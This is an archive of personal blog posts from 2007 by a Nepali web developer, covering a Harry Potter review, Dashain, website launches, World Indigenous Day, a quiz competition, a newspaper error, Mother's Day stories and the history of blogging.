One of the surprising things is the twist of the projection of the one character Severus Snape. He was too the professor of Hogwarts and was interested in Dark Arts. He was one of the Death Eaters who has helped Voldemort till the end. Twist of his character is revealed until you read the final pages of Deathly Hallows and that he was good and side of Dumbledore. Dumbledore and he had planned him to join the Death Eater to spy on Voldemort. Voldemort never knew about it until Harry told him at the final battle. In this final novel it is opened that Snape and Harry’s mother Lily loved each other from childhood. Harry’s father James Potter met Lily only at the Hogwarts school. That is the reason why Lily was angry with James when he teases Snape.

At the last Voldemort was killed by Harry’s spell ending the seven series of long fight. The writer has ended the novel peacefully and everything is happily ever after.

Epilogue extracted from Wikipedia

Nineteen years later, Harry and Ginny Weasley are married and have three children: James, Albus Severus and Lily. Ron and Hermione are also married and have two children, Rose and Hugo. The families meet at King's Cross station, where a nervous Albus is departing for his first year at Hogwarts. Harry's nineteen-year-old godson, Teddy Lupin, is found kissing Victoire Weasley in a train compartment. Teddy is a frequent visitor to the Potters, coming to dinner several times a week. Harry sees Draco Malfoy and his unnamed wife with their son, Scorpius; Malfoy acknowledges Harry with a curt nod, then turns away. Harry comforts Albus, who is worried he will be sorted into Slytherin. He tells his son that his namesake, Severus Snape, was a Slytherin and the bravest man he had ever met. He adds that the Sorting Hat takes one's own choice into account. Neville Longbottom is now the Hogwarts Herbology professor and is close friends with Harry. The book concludes: "The scar had not pained Harry for nineteen years. All was well."

Harry Potter and the Deathly Hallows in Wikipedia

My Dashain 2064 Review

2007-10-30T17:58:00.000+05:45

It was fun to celebrate the gone Dashain. Though not much like the previous one where we had blast. The movement of non-Hindus to avoid celebrating Dashain is growing like wild fire and we are not exception. Many think that it is wired not to celebrate the great festival. But if you look back the history how Dashain festival was implemented to the non-Hindus, it is quite unfair. Every indigenous peoples have their own culture and festivals. Being in power, Hindu celebrated it, gave holidays which is still going on. Soon it became the national festival and everybody forgot their festival and started celebrating it. There is the system that a house should be marked by the blood of animal to signify that they are celebrating the festival. If one don’t follow that they were punished.

Whatever the history it was not fair and that makes the non-Hindus burn from inside and that is dangerous for the society and for the nation. I took this Dashain as LFC ( Leave for Change) from the work or having vacation. We played cards and dice, gone to visit relatives and the mostly played PC games. Actually I took two PC game DVDs cost Rs. 100 each. One was AOEIII (Age of Empires III) and the other was POP(Prince of Persia). AOE is my all time favorite PC game. This AOE III is the new version and there were new missions which I completed in this Dashain. I had bought Geforce FX5500 having 256MB memory from Computer Bazar, Putalisadak with Rs. 4600. Graphic cards are the dream device of all PC gamer and I was too. It took nearly three years to fulfill that dream. But the second DVD POP was damaged and thinking of replacing it.

The most good thing I thought I did in this Dashain is to collect Rs. 200 as the donation for flood victims of Terai. I made the rule that every person who wins the game should put Re. 1 as donation. That process continued and finally it reached that amount and I think that was not bad. I don’t know that was the reason or something else that I won most of the game and collected much more money than I had. We play Kitti, Flash, Kalbirak and Marriage. This Dashain our elder brother Aanand taught how to play Marriage. It was fun to play but at first it spun head to calculate the points last.

As the question of animal slaughter, it has become many years since we left to kill them during such festivals. But half of our family members are non-veg so they bought meat. I was surprised to read an article which said some villages of Gorkha left to kill animal before 100 years. It was successful due to a monk who encouraged the villagers to do so. I think this year there were a lot of movement went against animal slaughter which is very good. If this kind of situation continues there will be good place to live for animals and humans too.

Testing Website Launch

2007-10-17T17:23:00.000+05:45

Just few minutes ago I uploaded a new site completely designed and developed by myself on behalf of my office. Check the link here. The website is about the felt design and development. It has developed many items and products and most of their clients are Europeans. See the design please post some comments.

Blog Action Day

2007-10-17T10:40:00.000+05:45

15th of October: Blogging and Environment. A nice combination of two makes the Blog Action Day as environment is selected as a theme this year. This day is the environmental friendly movement which will try to aware every boy how each individual can take their own steps for the better environment. If you are a blogger it is the precious time you should talk about environment. In this day everyone can participate in their own way.

Here are only some of the list of things that you could do as an individual to make environment happy:

Consider a smaller point size
Designers are already accused of making the type too small to be readable, but go ahead. A smaller font size can allow you to fit more words on a page, which requires fewer pages, which requires fewer trees, which requires fewer environmental crises.

Opt out of wasteful mailing lists
If you find your office mail box stuffed with computer catalogs and who-knows-what-else that goes straight in the recycling bin, nip that paper waste in the bud by getting off the mailing list. It may take some diligence if you work directly with the sender, but there are national opt-out lists run through the Direct Marketing Association that can eliminate a lot of the unwanted mailings.

Turn used file folders inside out
We bet you’re thinking this is the dumbest idea you’ve seen here yet. But not really. When a job’s complete, clean out the file, refold the thing inside out and you’re ready for a new project. You just cut your file folder expenses in half and saved some poor tree.

Source: http://onehundredthings.wordpress.com. For more things follow the above link.

Many great bloggers have written many things you can do to change the day to help the environment better. Some of them are as follows:

Chirs Garrett:

Freelance Switch:

Blogger Buzz:

So, do you blog about it now?

First anniversary of my blogging

2007-09-21T18:06:00.000+05:45

It was the fantastic year of my blogging from the start to the end of the first anniversary of my blogging. I was thinking that when my posting reaches 100 I will give treat to my friends but I don't know when will it happen. September of 2006 was the time when I started blogging. There I posted anything that came to my head without thinking how it affects others thinkings. When I was continuing I became little cautious about my writings. I started to think in detail and posted with some editing which I lacked before. There used to a lot of spelling mistakes too, not to mention the grammar or English phrases.

During the time I met a lot of blog enthusiasts too and got the golden opportunity to make a lots of friends which I think the most valuable rewards of blogging. I got some nice comments and some bad comments too. But it was really nice to get such comments as it develops the attitude of writing and speaking the things which is right. Comments are like the guide for bloggers. It helps us to drive through the right path. Some people thinks that blogging is just waste of time and money if there is no free Internet access. But I think blogging helps you to speak the things which requires a certain good place to express. It is the platform where you can pour your good and bad feelings.

Expressing things develops your skill of communication and self-confidence. When you speak bad feelings then it will relax your body and mind. So I don't think there are any demerits of doing blogging. So I suggest everyone to start blogging if you haven't done it yet. There is not a single reason not to do it.

Well this month happened the switch of my job too which was the hard decision for me to take. I thought it will be nice for me to do it thinking all the things from every angle. I am optimistic about my new job. I hope this will bring some good results to help for my future career.

Constitution Assembly, Peace and UNESCO Club

2007-09-14T17:46:00.001+05:45

The above topic was selected by the general meeting of Chulachuli UNESCO Club the Saturday before the gone Saturday. We all the members of the club had to write an essay not more that 350 words. Our club has decided to make a book which has the collection of all the essays written by the members. But all non-members too can contribute to it. So I have also written it though I don't have more idea about the Constitution Assembly and coming election. Please read it and post comments.

Presentation about Blogsite

2007-08-19T17:58:00.000+05:45

Yesterday on behalf of Chulachuli UNESCO Club I did presentation about Blogging. The topic of my presentation was "Blogging for Beginners". It was programmed to be start at 11 am but as it is said नेपाली टाइम it was only held at 12. Though we had circulated emails to many friends of Chulachuli UNESCO Club only few were present. So we called everybody from Indra Sir, Dammar Uncle and other who were present at the NGO-FONIN office to listen the program.

I had printed the three pages presentation on plastic paper so that it can be used for doing overhead projector. There was also computer projector in the office but it is hard to maintain it. Then when I was going to begin then there was light out only at that floor not to the other ones. Sounds crazy! Though me and Manzil fixed it without doing anything. Huh funny? :)

After my sister Arati introduced me and the whole attendees did themselves, I began my work. It was a introduction about Blog at first following history, providing some useful links, some common tips and some references links. That's all . It only took a short time to finish it and happy ever after. :)

That day I helped Dammar Lohorung, my uncle to prepare his report to be sent to Thailand. Four of us were working on that report preparation and that was continued till 7 pm. It was already dark and I hurriedly rushed to my home, sweet home. :)

New Webstie Launched

2007-08-15T17:02:00.000+05:45

Just today I uploaded a new site of Nep Tel Yellow Pages. I have been involving in it since a long time. Finally it is completed and uploaded on behalf of my office, Curves n' Colors. It was completely designed and developed by myself except some helps from my dear friends including Raju, Laxman, Kunjan and Tenzin. I want to give them best thanks for their valuable effort for making this project successful. The programming part of this project was the most easiest comparing to the other projects. So I decided to do it myself. Though I needed help from my friends too it was a nice feeling to be a junior programmer.

This is my first project fully done in this office and I was really excited for the completion of it. The day has finally arrived. Now it is the time to rock. :D

9 August: World Indigenous Day Celebrated

2007-08-10T17:07:00.000+05:45

Yesterday was the International Day of the World's Indigenous People which was celebrated all over the world. The United Nations General Assembly declared the day as to be celebrated as World Indigenous Day. It was started from 1994. Since then it has been celebrated annually by various ethnic groups and peoples all over the world. The General Assembly has declared it as the resolution 49/214 of 23 December.

International Labour Organization has declared in the Convention 169 that every individual ethnic group which has their own identity, language, customs and culture should be treated as a different group and should be recognized individually by the country regardless of the number they possess. But in the present context of various countries, many ethnic tribes and groups are being ignored by their country. This situation is same in Nepal too. There are still many ethnic groups who are not recognized by the government of our country that also includes my tribe which is called Lohorung. Though the talk between government and limited indigenous organizations was just held, it is quite ambiguous to understand beside the promise to establish Indigenous People Committee and just trying to make an representative from every recognized ethic groups.

We the family members Arati, Anand Bro, Mother and myself also went to the rally organized by Indigenous Community Women's Network and NGO - Federation of Nepalese Indigenous Nationalities to mark the World Indigenous Day 2007. The rally started form Basantapur Durbar Square and went passing New Road, Bir Hospital, Bhotahiti, Jamal, Ghantaghar, Kamaldi and finally to Pragya Academy. There was a huge mass of people wearing their own cultural dresses.

Inside the Pragya Academy hall all of them were gathered. There were many cultural shows including a nice Indigenous related song which is published here. Many indigenous organization distributed their press releases including the one I have published here. On the occasion Speaker of House of Representative Subas Nembang has come to inaugurate the function. Krishna Bhattachan gave a very strong speech about the indigenous people issues.

In the mid of the program we were being called by Chandra Kulung of our Chulachuli UNESCO Club for attending another program. In that program water resource minister Gyanendra Bahadur Karki had come as a chief guest. He too gave speech about indigenous issues. Many other renowned intellectuals had come there and gave speech about UNESCO Clubs roles in the upliftment of indigenous peoples. The program terminated having a fast food with tea.

After that program we again came to Pragya Hall to watch rest of the shows. There was also a cultural dress shows and song performance by Bimala Subba, a renowed singer of Nepal. After watching for some hours we came back home.

At last, the day was successful as wished and that was the first time I have ever walked for any kind of rally. So I was quite excited and shouted in the slogans of indigenous issues which made my throat to jam. After sometime it became normal. Many news channels and radio stations had also come and took interview to many people who had come there.

Emma Fast Food Menu Mistakes

2007-07-27T17:27:00.000+05:45

We some of the office staffs went to Putalisadak day before yesterday to have lunch during the break. We were of course hungry and couldn't wait anymore for it. We went to a restaurant named Emma Fast Food which is just opposite of the Kathmandu Plaza. We ordered some of the items after looking fast at the menu list. Some of them were rejected due to unavailability. We had to wait a long to get the remaining items too. This made us little crazy coz we were already becoming bored due to the hit of the direct sunlight from the glass window.

There were no work except to watch and read the menu list. As we were just chatting we discovered a very much funny or what to tell about it in the menu. Though there were lot of spelling mistakes it was not that much funny before it. In the name of one menu item it was written "Egg. Curry 1 Piss...". That was the instant continuation of more guffaws among us. We just imagined how much careless was done to prepare that menu list. I got idea of posting it in the blog and Dibesh took the picture with Motorola mobile set. Though the resolution was not that much fine, it can be recognized. Just look at the picture and have fun.

Harry Potter Wallpaper

2007-07-26T18:25:00.000+05:45

By hard searching in the Google with the high resolution images I have downloaded many pictures of Harry Potter and the other crew members. I have created a wallpaper and I have put its wallpaper on my desktop. If you want it just download it and set it as desktop background. J.K. Rowling seems like model in the wallpaper. Actually she is in the sense she is model of all fantasy lovers from general readers, directors, actors, writers to publishers.

The craze of Harry Potter seems never stopping. So it will be hard for those who loves Harry Potter if it stops coming.

She has said the concept of writing Harry Potter came when she was traveling from Manchester to London. When she wrote the first edition and went to the publishers she was rejected by eight publishers. Finally, Bloomsbury accepted it and they were astonished to see the market craze upon it. Till now it is going on breaking all the records of all the books of the past.

Long Live Harry Potter!

Harry Potter Mania

2007-07-24T16:49:00.000+05:45

Though some might think that Harry Potter Craze is just time or money wasting I don't think so. As I am one of its fan I have also bought the latest released book "Harry Potter and the Deathly Hallows" written by J.K. Rowling. Soon I started reading it and now I have finished till 6 chapters now. I wanted to finish it as soon as possible. It priced Rs. 1540 at the Educational Book Store at Kantipath, Kathmandu. My little sister has gone to buy it. She said she even got a small piece of cake while buying it. There were also about 12 copies of various small comics as complementary.

Published and distributed by Bloomsbury this edition of Harry Potter broke all the previous records of top selling books. None of the previous editions were sold in that much numbers. J.K. Rowling became the second richest woman in entertainment business due to only selling the Harry Potter series. She has said that the concept of the whole story came while she was traveling from Manchester to London by train. At one time it is said she didn't have enough money to pay for the rent of her flat too. She was a poor woman then. Harry Potter has completely transformed her into something very much extraordinary. She is now more richer then Queen Elizabeth of United Kingdom.

According to the Yahoo News this Harry Potter was sold 8.3 million copies within 24 hours of its release alone in United States. It means that it is 16 Arab 60 Crore in Nepal.

What I didn't like about the News media that the whole surprise of Harry Potter was revealed by all news media that Harry Potter will not die. I felt it is very rude to the passion readers who wanted to know by reading themselves. I have too bought a DVD of Harry Potter which cost Rs. 50 from "Phutpath" but it was a very bad print. There it was written that it has all four movies but there were only two working well though without smooth. सस्तो बेसारले पखाला चलौछ ।

Yahoo News

RSS Feed Link of Curves n' Colors created

2007-07-19T11:47:00.000+05:45

Just yesterday the senior programmer Laxman Bhattarai of our office Curves n' Colors created the RSS Feed. From now anyone can check the new news updates from any RSS readers without actually going to the CNC URL. Here is the link CNC's RSS Feed Link.

For laymen RSS is the short form of Really Simple Syndication. It is just like a paperboy who delivers the daily updated news to your door without going to the newspapers shop. I have been using FeedReader 3.09 and I assure you that it really works well.

Some of the benefits of using RSS Feed are that I have known:

1. The main benefits I found that we can view the updates news off line too.
2. It is fast too coz it doesn't download the formatting of the web page.
3. It is the real content driven thing that means you can directly read the actual contents of the web site.

RSS uses standardized XML format which can be used by everybody to make their customized RSS file. That file can be programmed using any server side scripting languages to display the updates contents. Since the top free blogging host sites have made RSS by default nobody has to pull their hair about creating and managing it. So I think this technology is one of the best of its own kind and there is not a single reason why you shouldn't use it.

Happy Feeding!!

CNC's New Site Launched

2007-07-08T16:22:00.000+05:45

Just today morning CNC (Curves n' Colors) launched the new website which has been going on a long time ago. The new site is very clean and cool compared to the old site. Check the new site in the following link: www.curvesncolors.com

The peoples involved in this project are:
Designer and Content Manager: Kunjan Shrestha
CMS Programming: Dibesh Shrestha
Content Writer: Pradeep Rai ( Chamling)
Photos By: Ranjan Shrestha, Druba Ale(Himalyan Times Senior Photographer)

The amazing part happened just after uploading the site is that one of a new client made inquiry about the making of website.

North Country: Sexual Harassment Law History Story

2007-07-07T16:03:00.000+05:45

Just now we some of the CNC staffs watched the movie called "North Country". This movie is based on true story about a mother who was sexually harassed by her co-workers in the mining company called Eveleth Taconite Co during 1988. The lead role is played by the actress Charlize Theron representing the real mother Lois Jenson. This movie is directed after a book called "Class Action" written by Clara Bingham.

When I started the movie from half I was thinking this movie is not so much interesting coz it is moving like tortoise. But as I began understanding the situation and the story I was enthralled by it. Josey is a mother raising two children. She was raped by a man and was forced to give the first baby. During school time too she was raped by her teacher. When she made commitment that she need no any man to help her family go alive she decided to work in the mining company. But to her surprise she was sexually harassed by her co-workers. Not only her all the females working there were behaved the same way.

Finally she decided it was too much and she filed sexual harassment lawsuit against the company co-workers. At the beginning it was hard to her and everybody said she was crazy. But when he got a good lawyers team she won the case and everybody was with her side. That kind of sexual harassment lawsuit was first in the history and got attention from all over the world. Everybody thanked her and the films ends.

Finally when I searched the Google and I came across the book "Class Action" I am thinking of buying it though I don't know it is available or not. I suggest everybody to watch that movie. I also did read this line when searching about the sexual harassment "One of every three women is sexually harassed one or more time in her life". Most of them are ignored due to the fear that it will be whole mess of privacy. In Nepal too though we don't hear such things it might be a whole lot of dirty things inside. Due to the lack of proper laws and its implementation we can hardly imagine the backside of these kinds of things. Everybody should be aware of it and stand forward to speak against it.

Chulachuli UNESCO Club Quiz Competition

2007-07-02T18:19:00.000+05:45

Gone 30 th of June we had a quiz competition at our local Chualchuli UNESCO Club at Dillibazaar, Kathmandu. I was the coordinator of that event but my sister Arati did help to do most of the things from informing to the participants to hosting the event. It was like a half a year when we had decided to held the event. But finally we did and I think that was just great. I prepared some of the questions and also my sister Arati too helped me for it including my little sister Akriti.

It was the day of Saturday. Though we had called many participants some of them didn't appear at that time. They were soon replaced by those who came that day. Arati did manage to buy medals and printed certificates too which was designed by myself. She too did buy a small bag of chocolates to give to the audience.

There were five teams consisting of two individuals. There were 12 rounds of questions apporximately. 60 questions from different fields viz. Politics, Science, Computer, History, Games to name some. Though there was no tough competition it was fun.

There were five team from Group 1 to 5. Group 2 consisted two contestants name Sukra Kulung and Gom B. Kulung who became the first. Group 3 consisted brother and sister named Manzil Kulung and Reshma Tumbahampey who became second. Last but not the least, Group 1 became third which consisted Kamal Kulung and Kabir Kulung as the participants.

The first team scored 210 points answering 21 questions. The second team scored 60 points answering 6 questions and the third team scored 50 points answering 5 questions. Though I distributed certificates and medals I thought I was not that much deserved. It would be better if we had called some respected persons. However, it had to be done and it is done.

New Website Launched

2007-07-01T18:10:00.000+05:45

Today I uploaded a new webiste on behalf of Curves n' Colors having the URL www.bhutanscenictours.com. It is the webiste owned by Tshering of Bhutan. Many people have worked in this site including me. They are as follows:

Template Designer as Slicer: Raju Maharjan
Content Management: Myself and Anjula Didi.

This site is the redesign of the old site www.bhutanscenictours.com.bt.

I am thinking of putting a section where there will be the list of new webiste launches. But it is becoming like छेपारो को कथा. But don't mind I will doing it and this time it is not an excuse.

My new Flickr photo URL

2007-06-15T18:12:00.000+05:45

I have opened a Flickr account (My Flickr URL) recently for showing my interest in photography. I like photography because as we know that a picture speaks thousand words. I have taken several photos but due to the lack of proper care many of them are lost or deleted. So I thought it would a nice starting to post online so that there will be two advantages. First one is, there will be backups of all my photos and the second is that others can too see them and search for my works. I can also get nice comments if somebody likes it.

Before I was confused to choose which domain should I use to host my photo collections. I also thought of making a separate blogspot URL just to post the photos. But I thought people use Flickr more to search and view photos. I also tried google photo sharing desktop application called Picasa. But it has a limited storage so I gave it up. So finally I though the Flickr is the right choice.

My passion in photography is more hobby than other things. It is the thirst of showing creativity and making a memory fresh in the due course of time. I believe that only the thing which is in the written or printed form will be there.The whole other thing will be gone. So my photography interest is somewhat inspired by it. Though I haven't taken any formal trainings in photography I like to do it. The photos are the most eye catching materials in web world. You can hardly see a cool website without any photos. So being a web developer and designer I have strong reasons to like photography.

Though it is the thumb rule that we should use a minimum number of photos or images in a website, it is boring to visit a site without it. The significance of photos in web is very much high. A designer hardly can imagine a world without photos.

Kantipur Error or Politics?

2007-06-06T18:28:00.000+05:45

Kantipur is the most reputed and top selling daily newspaper in Nepal. I think nobody will deny the line. And I am too is one of them before I discovered a huge and critical matter relating to the flow of news. First and the foremost I am sure that a daily newspaper like Kantipur should flow same news in each individual Kantipur newspaper regardless of territory of publication whether it is east or west. I am pretty sure about that a reputed newspaper should be published and take to the market when every necessary quality checkings are done. If is not done then there will no reliability to the readers and the customers.

I know that there is very much chance of errors in the daily newspapers like Kantipur. There are many news to collect, edit and publish each day. But being a reputed and highly responsible newspaper, Kantipur should not take any chances or excuses publishing such blunders and forgetting about it without informing the loyal readers.

I came to know about this mess from my father who works at Janakpur. He found the news of my Grandfather (Mother’s father) being welcomed to his village by different political parties in the second page of 15 th Baisakh 2064, Saturday in Kantipur newspaper. After some day he came to Kathmandu and told us that our Grandfather’s news has been published in Kantipur. We searched the newspaper of that particular date and was shocked to believe what we saw.

There were completely different news there. We couldn't’t believe it and asked our uncle to send that particular newspaper form Janakpur. He did and we compared the two newspapers viz published from Kathmandu and Biratnagar. There was a whole smell of politics. Because though the news of the second and third pages are completely messed up, there was all the news but in different location except our Grandfather’s news.

The other Kantipur which is published from Biratnagar has given his news but not by the Kathmandu publication. So I mean to say is that what is the matter of all this kind of error? Though I have seen some minor errors I haven’t seen such a blunder. If a reputed newspaper like Kantipur continues to do such mistakes then how can a person be reliable to the news he is reading or listening?

Though I am a not a anti of Kantipur and its publication, I am just trying to focus the Kantipur's eye not to repeat the same mistake again and again.

Spiderman Templates: Pretty Cool Ones!

2007-05-22T18:32:00.000+05:45

When I was browsing about Spiderman I got into a place where we could download lots of cool Spiderman themed website templates. I downloaded it and got shocked to see the results. I was wow! A big wow and I am lovin it!If you are too a fan of Spiderman then you should definitely want to taste that templates. Just follow this link www.spiderman.sonipictures.com

Steps to put the templates:

Download the zipped file.
Unzip it using the appropriate tool
Open the folder and again open the index file using dreamweaver or any other HTML code displaying tool
Copy the actual code to your own template opened in HTML mode
Save it and view the final results

It is really a simple task and the results are cool. I was really bored to see a same template again and much frustrated when to see the same template of others too. Better to say same pinch but not. It seemed very common. Now it is the time of making some great and wonderful revolution. Blogger.com has given everybody to customize their blog site with much flexibility. Thanks to the team of the programmers who made such wonderful dynamic site.

But the thing you should remember is that whatever the accessories you have put in your previous blog site will be gone and your have to put it again. Though it will be not a heavy task for you I think. Any kind of help assistance is warmly welcomed.

Siddhartha and Yasodhara Story

2007-05-04T18:15:00.000+05:45

Siddhratha Gautam married Yasodhara and started staying at their palace at Lumbini. But he was so much sad about the world's murder, war and killings that he left his palace and lover in search of the peace and love. Yasodhara and the whole family shocked to know about his action. Though when they understood they didn't defend because he is searching the thing which could bring peace in the world of wars. He then moved to Bodhgaya in India where he got the title "Buddha" after getting the enlightenment.

Everybody talks about Buddha and Buddhism and we must do it specially in this present world. But we should not forget the sacrifice of the love that his wife gave. Here is the story which was published in Kantipur Newspaper in 2005 A.D. This is really a good side effect of Buddha's Meditation. I think Yasodhara has also done great sacrifice for making him as Lord Buddha.

King Suddhodana then said, "Lord, when my daughter-in-law heard that you were wearing yellow robes she also robed herself in yellow. When she heard you were taking one meal a day she did the same. When she heard that you had given up lofty couches, she lay on a low couch and when she heard that you had given up garland and scents she too gave them up. So virtuous is my daughter-in-law."

The above paragraph extracted from http://www.buddhanet.net . The paragraph shows how much sacrifice she has given. So I think Yasodhara is also a great person.

The Mother's Day

2007-04-17T18:56:00.000+05:45

Today is the mother day. The celebration of mother day is just like that but the important thing is that to pay some respect and love to her brings a thousands beautiful smiles in her life. As special as you are born it is important the mother day. Mother is the most special person in earth from your birth to death. From the day when she gave birth to you her struggle life commences. Caring, loving, fulfilling your every desires she never gets time for her own private life. From then her one and only motto of her life is to see you happy and prosperous.

But in today’s world many of us is forgetting the significance of mother and the care she has given to us. Let us know her and be well with her coz it is only the children that she is living in this life.

“The most important thing a father can do for his children is to love their mother.”

The line is extracted from the Internet. Really the line itself says the significance of motherhood. The love that she can give to her child is never comparable to any kind of the love present in this world. The true love without any kind of jealous, envious, selfishness, will of advantage can only given by dear mother. So the greatest care a father can do to his children is to love their mom. I am completely satisfied by this line. I hope every father will memory this line and don’t hurt their children mom.

Here is short story which I don’t know the origin and writer.

Once upon a time there was a man. He had a mother who was very old and the days were coming near for her to go leaving the earth. He had a very cruel and bad wife. She always said bad things about the old mother to the man. She always tried to insist to the man to throw out the old mother from the house because she had become burden to her.

One day when the man didn’t respond nicely to her she told him that she would leave the house if he didn’t agree her idea. Finally the man had to agree the evil thought of his wife. He told her mother that he is going to take her to the jungle for hiking. The mother agreed to him without hesitation because she hadn’t got such a nice request from him a long time.

After some time, they were in the middle of the big jungle where many wild animals were living. Soon he took his mother to a den and told her to stay right there until he comes back.

Then he left the place but he was eager to know what kind of curse she speaks behind him because he thought that she knew his plan.

He slowly went toward the den and heard saying, “Oh my lord! The big rain is going to come. My dear son put me in safe place but where he has gone. God! Please help him get his way. I beg you.”

The man hearing all this was shocked. He never thought of it. He thought that she would be cursing him when he left her there. Soon he changed his plan and told her everything why he had brought her there. Then he made apologize to her. Which mother don’t give apologize when her son asks? Soon the man got crazy about her wife to listen the evil action. He at once went with her mother and kicked out her wife away from his house.

So the greatest lover of all time this day and this article is dedicated to all the mother living in this earth doing their best to make their children happy and well. I do salute each good action they have taken to make the life of their children good.

Happy Mother Day!!

Some useful links:

http://en.wikipedia.org/wiki/Mother's_Day

http://www.mothersdaycelebration.com/50-inspirational-quotes.html

http://womenshistory.about.com/od/mothersday/a/early.htm

History of Blogging

2007-04-11T18:05:00.000+05:45

Blogging is really a great revolution for the people who wanted to post their thoughts without edited. When computer was invented nobody thought this industry will grow to this enormous height. Actually to say computer is like convergence of all technology present today. From education, data management, security forces to all levels it is now being like a daily life. The concept of blogging has caught the head of millions and it started with a great bang. With just a few mouse clicks you are connected to the whole world. Then share your opinions, comments, posts make the blogging world full of new thoughts, new ideas and new energy to live life.

Once I had read that if the industry of car making has developed at the pace of today's computer industry then now car could be bought more cheaper than a bicycle and would be faster than a jet plane.

This line itself tells the significance of this great technology. So I salute it for the convenience it has created in our lives. BIG THUMBS UP TO YOU!

Here is a brief timeline of the history of blogging:

Dawn of Internet Time: Tim Berners-Lee at CERN begins keeping a list of all new sites as they come online.

June 1993: NCSA's oldest archived What's New list of sites.

June 1993: Netscape begins running it's What's New! list of sites.

Jan 1994: Justin Hall launches Justin's Home Page which would become Links from the Underground.

April 1997: Dave Winer launches Scripting News. His company, Userland, will release Frontier, Manila and Radio Userland, all website and blog content software.

Sept 1997 Slashdot launches their news for nerds.

Dec 1997: Jorn Barger coins the term web log.

November 1998: Cameron Barrett publishes the first list of blog sites on Camworld.

Early 1999: Peter Merholz coins the term blog after announcing he was going to pronounce web blogs as "wee-blog". This was then shortened to blog.

Early 1999: Brigitte Eaton starts the first portal devoted to blogs with about 50 listings.

July 1999: Metafilter's earliest archives.

July 1999: Pitas launches the first free build your own blog web tool.

August 1999: Pyra releases Blogger which becomes the most popular web based blogging tool to date, and popularizes blogging with mainstream Internet users.

News Source: http://www.blockstar.com

Some of the useful links:

Ten Tips of Blogging

Ten Tips For A Better Weblog

Blogging for Beginners

15 Blogging Tips For 2007

Miss Nepal Mania ! Good or Bad !

2007-04-10T11:16:00.000+05:45

There is very much debate of holding Miss Nepal. What do you think? Is it right to hold or not? Why?

My personal perspective is here:

www.meroguff.com

Please do read and post comments because comments are only the gain that a blogger get.

A girl with a blue earring

2007-03-30T17:59:00.000+05:45

As always, that day I was in hurry to my college. I was walking on the way; my eyes got stopped in a earring which was lying in the middle of the road. Quickly I picked it up. I thought whether anybody was watching me or not only after picking it up. I relaxed nobody was watching because it was an early morning. I moved forward. I dropped it in my right hand pocket of my jacket. I was walking and my hand was inside my pocket which was holding that earring.

I was thinking who might have dropped it may be the girl of my same age because I see many girls of my age wearing such type of earring. I remembered a movie which I watched recently by that earring. The movie's title was' A girl with a pearl earring' and the actress was Scarlett Johansson. Only one earring was used in that movie.

I reached my college. I was holding it inside my pocket. Although I was very curious to see I didn't see it. The class was running and my hand was still holding that earring. As soon as the class was over I showed to my friends but they reacted passively may be they didn't hear me. I kept it in the same pocket. All the classes were over so I returned back home.

I watched it carefully. The earring was a circle earring of metal. A bell was there in the middle of the circle. The forward and backward of bell was decorated by some kind of steel golden flowers and plastic blue beads. There were seven different blue beads hanging in the bell. There were also five different blue beads hanging in those seven blue beads. I thought two beads were lost out of seven beads.

I showed to my mother. She said it is very beautiful and will be more beautiful if it is made out of gold. I showed to my sister and she too said it was beautiful and remembered her own earring which she took out from her jewellery box and put it herself and in the mean time I was writing the story of ' A girl with a blue earring' wearing that blue earring.

Written By: Arati Lohorung Rai
Painting Photo Source: http://www.kornea.com

From Blogger's Side: Arati is my younger sister. She is doing her Bachelor in Mass Communication and Media. She likes flowers, korean films, photography and documentaries. She aims to be a top photo journalist.

The Electricity Muddle

2007-03-28T18:22:00.000+05:45

As you know the electricity problem of Nepal rises in every winter, this time also it is continuing without any improvements. The schedule of the electricity cut off also not working. With the power cut off for 6 hours daily there is huge loss to all sectors from business persons to the SLC appearing students. Though there are some advantages too. The candle business has grown up tremendously making a huge profits to the candle business men.

Yesterday I got a call from my office at 10 am, "Electricity is on, so come to office soon." I was thinking that power would go but didn't. Today I thought it will be on today coz yesterday it was. I was hurriedly rushed to office. When I reached office I was surprised to see the electricity is gone. The psycho power and the government schedule has made a lot of problem to all the citizen of Nepal. Many people was frustrated with this kind of behaviour. One of my friend who thought he will do good job in Kathmandu rather in India and came to Kathmandu for doing his job. He was saying it was a very big wrong idea to come here.

This is the situation of every people who is working hard. Never know when the situation of the country will be good. If this kind of situation continues then there will be no one wise people left in Nepal.

Turmoil, anarchy and mayhem
caused the nation into havoc
the future is unknown
when will end this shock?

Battle for the power
motherland is in despair
Lord! Save us!
Just we need care.

Dark are the days
and harder the nights
lots of loss and failures
due to the small baby fights.

What Do We Work For?

2007-03-27T18:16:00.000+05:45

Son: "Daddy, may I ask you a question"
Daddy: "Yeah sure, what it is?"
Son: "Dad, how much do you make an hour"
Daddy: "That's none of your business. Why do you ask such a thing?"
Son: "I just want to know. Please tel! l me, how much do you make an hour?"
Daddy: "I make Rs. 500 an hour"
"Oh", the little boy replied, with his head down. Looking up, he
said, "Dad, may I please borrow Rs. 300?"
The father was furious, "if the only reason you asked that is so you
can borrow some money to buy a silly toy or other nonsense, then
march yourself to your room and go to bed.

Think why you are being so selfish. I work hard everyday for such
this childish behavior".The little boy quietly went to his room and shut the door.The man sat down and started to get even angrier about the little boy's questions.How dare he ask such questions only to get some money?After about an hour or so, the man had calmed, down, and started to think:

"May be there was something he really needed to buy with thatRs. 300 and he really didn't ask for money very often!"

The man went to the door of little boy's room and opened the door.
"Are you a! sleep, son?" He asked.
"No daddy, I'm awake," replied the boy.
"I've been thinking, may be I was too hard on you earlier", said the man, "It's been a long day and I took out my aggravation on you.Here's the Rs.300 you asked for"

The little boy sat straight up, smiling "oh thank you dad!" He yelled.Then, reaching under his pillow he pulled some crippled up notes.The man, seeing that the boy already had money,started to get angry again.The little boy slowly counted out his money, then looked up at his father.
"Why do you want money if you already had some?" the father
grumbled.
"Because I didn't have enough, but now I do," the little boy
replied.
"Daddy I have Rs. 500 now. Can I buy an hour of your time?
Please come home early tomorrow. I would like to have dinner with
you".

MORAL OF THE STORY

It's just a short reminder to all of you working so hard in life. We should not let time slip through our fingers without having spent some time with those who really matter to us, those close to our hearts. If we die tomorrow, the company that we are working for could easily replace us in a matter of days. But the family & friends we leave behind will feel the loss for the rest of their lives. And come to think of it, we pour ourselves more into work than to our family.

Source: Forwarded Email.

My Birthday Mess Surprise

2007-03-21T18:16:00.000+05:45

